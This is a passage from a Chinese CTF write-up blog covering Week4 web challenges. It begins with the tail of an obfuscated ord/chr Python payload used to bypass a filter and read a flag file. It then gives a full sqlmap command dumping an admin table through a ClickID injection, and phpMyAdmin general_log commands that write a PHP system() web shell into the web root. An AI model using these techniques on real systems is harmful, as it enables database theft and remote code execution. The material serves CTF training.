))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('(')))+chr((ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord('('))*(ord('*')-ord('('))*(ord('*')-ord('('))+(ord('*')-ord(')')));cdhor(c)

将执行的命令换成cat /fl44gggg再来一次即可

[Week4] 可恶的骗子(复现)

网址拼接/Xianyu_goods/index.php,便可以访问网站

用dirsearch扫描目录可以发现存在phpmyadmin

通过测试ClickID发现存在sql注入:

存在sql注入,sqlmap来跑一下得到密码

python sqlmap.py http://210.44.150.15:35657/Xianyu_goods/index.php?ClickID=161 --batch -D root -T admin_user --dump

用dirsearch扫描目录可以发现Xianyu_goods下存在一些php文件

这里得到的密码与扫到的phpmyadmin中的登录密码一致,可以利用来登录phpmyadmin来进一步利用。登录phpmyadmin使用日志写入php代码(无论是login.php或者是go.php都是可行的)

首先启用日志

Set global general_log = on;

设置日志路径

Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';或者是
Set global general_log_file = '/var/www/html/Xianyu_goods/login.php';

写入php代码,执行命令

select '<?php system("cat /flag"); ?>';

访问/Xianyu_goods/go.php便能得到弗拉格

[Week4] 0进制计算器 pro max(复现)

[Week4] Json Flaw(复现)

[Week4] ez_java(复现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇